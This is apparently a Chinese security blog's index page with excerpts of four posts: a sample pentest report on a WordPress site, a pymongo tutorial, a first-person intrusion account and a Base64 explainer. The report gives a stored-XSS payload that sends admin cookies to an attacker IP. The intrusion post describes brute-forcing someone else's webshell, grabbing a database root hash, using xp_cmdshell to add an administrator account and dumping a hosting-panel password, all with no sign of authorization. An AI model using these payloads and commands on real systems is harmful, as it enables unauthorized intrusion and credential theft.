一份Archmake.COM的渗透测试报告

作者:Secer 发布时间:September 24, 2013 分类:渗透测试

前言

这是offensive security发布的一份渗透测试报告样例。offensive security 是backtrack-linux.org、exploit-db.com的缔造者。

概述

Offensive security已经被授权对Archmake的外部网站进行一次渗透测试.测试评估的方式是模拟恶意的攻击者对公司进行目的明确的渗透.在初期的信息搜集阶段,发现Archmake公司仅仅只有一个web网站和一个邮件服务器.可供攻击的目标比较少.

在对网站的安全评估中,发现它安装了一个有漏洞的WordPress插件.成功利用这个漏洞,取得了WordPress的管理权限.然后反弹了一个交互式的shell并成功提到root权限.

获取了网站服务器的权限之后,开始对内网进行渗透,经过一番尝试,成功获取到了域管理员的权限.之后对内网进行拓扑分析,发现了内网的公司数据库并成功控制.这个数据库不仅存储了订单信息和客户资料,还保存了交易的相关信息.通过控制这个系统,攻击者可以直接提取现金.

测试过程

WordPress漏洞利用

在对目标系统进行搜集的时候发现网站采用了wordpress 3.3.1搭建.我们在对WordPress进行代码审计的同时,用WPScan扫描了目标网站,发现一个不安全的插件:

./wpscan.rb --url www.Archmake.com --enumerate p
____________________________________________________
__
_______
_____
\ \
/ / __ \ / ____|
\ \ /\ / /| |__) | (___
___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | |
____) | (__| (_| | | | |
\/ \/
|_|
|_____/ \___|\__,_|_| |_| v1.1
WordPress Security Scanner by ethicalhack3r.co.uk
Sponsored by the RandomStorm Open Source Initiative
_____________________________________________________
| URL: http://www.Archmake.com/
| Started on Tue Jan 24 18:44:49 2012
[!] The WordPress theme in use is called "twentyeleven".
[!] The WordPress "http://www.Archmake.com/readme.html" file exists.
[!] WordPress version 3.3.1 identified from meta generator.
[+] Enumerating installed plugins...
Checking for 2892 total plugins... 100% complete.
[+] We found 2 plugins:
Name: relevanssi
Location: http://www.Archmake.com/wp-content/plugins/relevanssi/
Directory listing enabled? Yes.
Name: relevanssi
Location: http://www.Archmake.com/wp-content/plugins/relevanssi/
Directory listing enabled? Yes.
[+] There were 1 vulnerabilities identified from the plugin names:
[!] Relevanssi 2.7.2 WordPress Plugin Stored XSS Vulnerability
* Reference: http://www.exploit-db.com/exploits/16233/
[+] Finished at Tue Jan 24 18:45:30 2012 

正如WPScan扫描结果展示的一样,这个Relevanssi插件存在一个XSS漏洞.成功利用这个漏洞可以窃取到管理员的cookies.

第一步,我们在Archmake网站的搜索栏中插入如下代码:

<script>new Image().src="http://172.16.40.204/p.php?cookie="+document.cookie; </script>

clip_image001

阅读剩余部分...

Python调用MongoDB使用心得

作者:Secer 发布时间:September 6, 2013 分类:Linux笔记

本文是一个Python 使用MongoDB的简单教程,将使用pymongo对MongoDB进行的各种操作进行了简单的汇总,NoSQLFan进行了简单整理,使用Python的同学可以看一看。

 

下载相应平台的版本,解压即可。为方便使用,将bin路径添加到系统path环境变量里。其中mongod是服务器,mongo是客户shell,然后创建数据文件目录:在c盘下创建data文件夹,里面创建db文件夹。

基本使用:

`1(V)L89KY[XK[12ZECOY%V

安装对应语言的Driver,Python 安装 pymongo

$ easy_install pymongo

使用方法总结,摘自官方教程

创建连接

>>> import pymongo
>>> connection=pymongo.Connection('localhost',27017)

切换数据库

>>> db = connection.test_database

获取collection

>>> collection = db.test_collection

db和collection都是延时创建的,在添加Document时才真正创建

文档添加,_id自动创建

>>> import datetime
>>> post = {"author": "Mike",
...         "text": "My first blog post!",
...         "tags": ["mongodb", "python", "pymongo"],
...         "date": datetime.datetime.utcnow()}
>>> posts = db.posts
>>> posts.insert(post)
ObjectId('...')

阅读剩余部分...

从爆破shell到内网渗透(有亮点)

作者:Secer 发布时间:September 5, 2013 分类:渗透测试

最近比较忙,渗透经验少,手里一时也没有什么有含量的文章。下面是近期的一次渗透经历,先发在这,管理能给过不。

群里发了个一句话,http://www.xxx.cn/UploadFiles/201342155011266.asa

让爆破一下。

clip_image001

看来是个图片插马,通过台上传的。

爆破一句话,BurpSuite搞定

clip_image003

密码居然是‘x’。。。

下午有课,晚上接着搞,既然有了shell,试试提权什么的。

上传大马,发现上传不了,基本上目录都不可写了,UploadFiles目录也是,看来可能管理员加固了(后来提权之后发现果然该用户对该目录权限只有读取了)。命令也执行不了。

到C:\Program Files\MySQL下载User表user.MYD,打开得到root的HASH

localhost

root*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9

cmd5查了下123456,但是通过菜刀连接失败,好像3306端口没开(后来发现其实开了,估计被墙了)

是星外站,还有很多站点。一个个找找。找到个aspx站点,查看web.config,居然是sa,密码也是sa,通过菜刀连接,成功,可以执行命令。

EXEC master..xp_cmdshell 'net userxxxxxx xxxxxx123123 /add'

EXEC master..xp_cmdshell 'net localgroupadministrators xxxxxx /add'

3389登录成功。有360安全卫士和Symantec,添加用户居然没有拦截,人品好的原因?

既然是星外的站,读取下freehost密码吧,用它登录更保险一些。拿出星外杀器,读到密码。

C:\Documents and Settings\lnwjcomcn\桌面>exehack.exe-i

FreeHost ID:724

C:\Documents and Settings\lnwjcomcn\桌面>exehack.exe-u 724

UserName:freehostrunat

Password:c8a810ab197a1321ee4b37fcaa3ccd29!7

阅读剩余部分...

Base 64 Encoding 编码

作者:Secer 发布时间:September 5, 2013 分类:代码学习

Base 64 Encoding有什么用?举个简单的例子,你使用SMTP协议 (Simple Mail Transfer Protocol 简单邮件传输协议)来发送邮件。因为这个协议是基于文本的协议,所以如果邮件中包含一幅图片,我们知道图片的存储格式是二进制数据(binary data),而非文本格式,我们必须将二进制的数据编码成文本格式,这时候Base 64 Encoding就派上用场了。

(一)编码原理

Base 64 Encoding 的编码原理是将每三个字节(byte)转换为四个字符,每个字符占6 bit。

clip_image001

6 bit一共有64种组合方式,也就是说该编码共需要使用至少64种字符(后面我们还会介绍一个特殊字符 =)。Base 64 Encoding使用了从 A 到 Z、a 到 z、0 到 9、以及 + 和 / 这些字符(即[A-Za-z0-9+/])。

clip_image002

假设我们有三个字节的数据,byte[] {1, 2, 3},用二进制表示为:

00000001 | 00000010 | 00000011

依据上面的原理,使用Basee 64 Encoding编码后结果应该为:

000000 | 010000 | 001000 | 000011

转换为十进制为 0 | 16 | 8 | 3,对照上面的表,编码后的文本为 AQID

既然Base 64 Encoding将每三个字节转换为四个字符,那如果一幅图片的字节数不能被3整除该怎么办?

如果剩余一个字节,该字节同样被转换为四个字符。第一个6 bit转换成一个字符,接下来2 bit转换成一个字符(注意这里是向右添加0),最后添加两个=字符。

clip_image003

假设我们有四个字节的数据,byte[] {1, 2, 3, 4},用二进制表示为:

00000001 | 00000010 | 00000011 | 00000100

依据上面的原理,使用Basee 64 Encoding编码后结果应该为:

000000 | 010000 | 001000 | 000011 | 000001 | 000000

转换为十进制为 0 | 16 | 8 | 3 | 1 | 0,对照上面的表,编码后的文本为 AQIDBA==

如果不能被3整除,而余下两个字节,编码方式类似剩余一个字节,同样是转换成四个字符,最后一个字符用=。

clip_image004

假设我们有五个字节的数据,byte[] {1, 2, 3, 4, 5},用二进制表示为:

00000001 | 00000010 | 00000011 | 00000100 | 00000101

依据上面的原理,使用Basee 64 Encoding编码后结果应该为:

000000 | 010000 | 001000 | 000011 | 000001 | 000000 | 010100

转换为十进制为 0 | 16 | 8 | 3 | 1 | 0 | 20,对照上面的表,编码后的文本为 AQIDBAU=

(二)在.Net中的实现

在.Net中,将二进制数据编码为文本可以使用public static string ToBase64String(byte[] inArray)方法;从文本文件转换回二进制数据可以使用public static byte[] FromBase64String(string s)方法。

下面验证一下上面讲解的例子,分别将三组数据 byte[] {1, 2, 3},byte[] {1, 2, 3, 4},byte[] {1, 2, 3, 4, 5} 进行编码,并检验编码后的文本是否分别为AQID,AQIDBA==,AQIDBAU=。

byte[] binary1 = new byte[] { 1, 2, 3 };

string encoded1 = Convert.ToBase64String(binary1);

byte[] decoded1 = Convert.FromBase64String(encoded1);

Console.WriteLine("Encoded string: {0}, Decoded binary is equal to orignial binary? {1}"

, encoded1, binary1.SequenceEqual(decoded1));

byte[] binary2 = new byte[] { 1, 2, 3, 4};

string encoded2 = Convert.ToBase64String(binary2);

byte[] decoded2 = Convert.FromBase64String(encoded2);

Console.WriteLine("Encoded string: {0}, Decoded binary is equal to orignial binary? {1}"

, encoded2, binary2.SequenceEqual(decoded2));

byte[] binary3 = new byte[] { 1, 2, 3, 4, 5};

string encoded3 = Convert.ToBase64String(binary3);

byte[] decoded3 = Convert.FromBase64String(encoded3);

Console.WriteLine("Encoded string: {0}, Decoded binary is equal to orignial binary? {1}"

, encoded3, binary3.SequenceEqual(decoded3));

输出结果为:

Encoded string: AQID, Decoded binary is equal to orignial binary? True 
Encoded string: AQIDBA==, Decoded binary is equal to orignial binary? True 
Encoded string: AQIDBAU=, Decoded binary is equal to orignial binary? True

总结:本文介绍了为何要使用编码,以及Base 64 Encoding编码的原理,最后还介绍了Base 64 Encoding在.Net中的实现。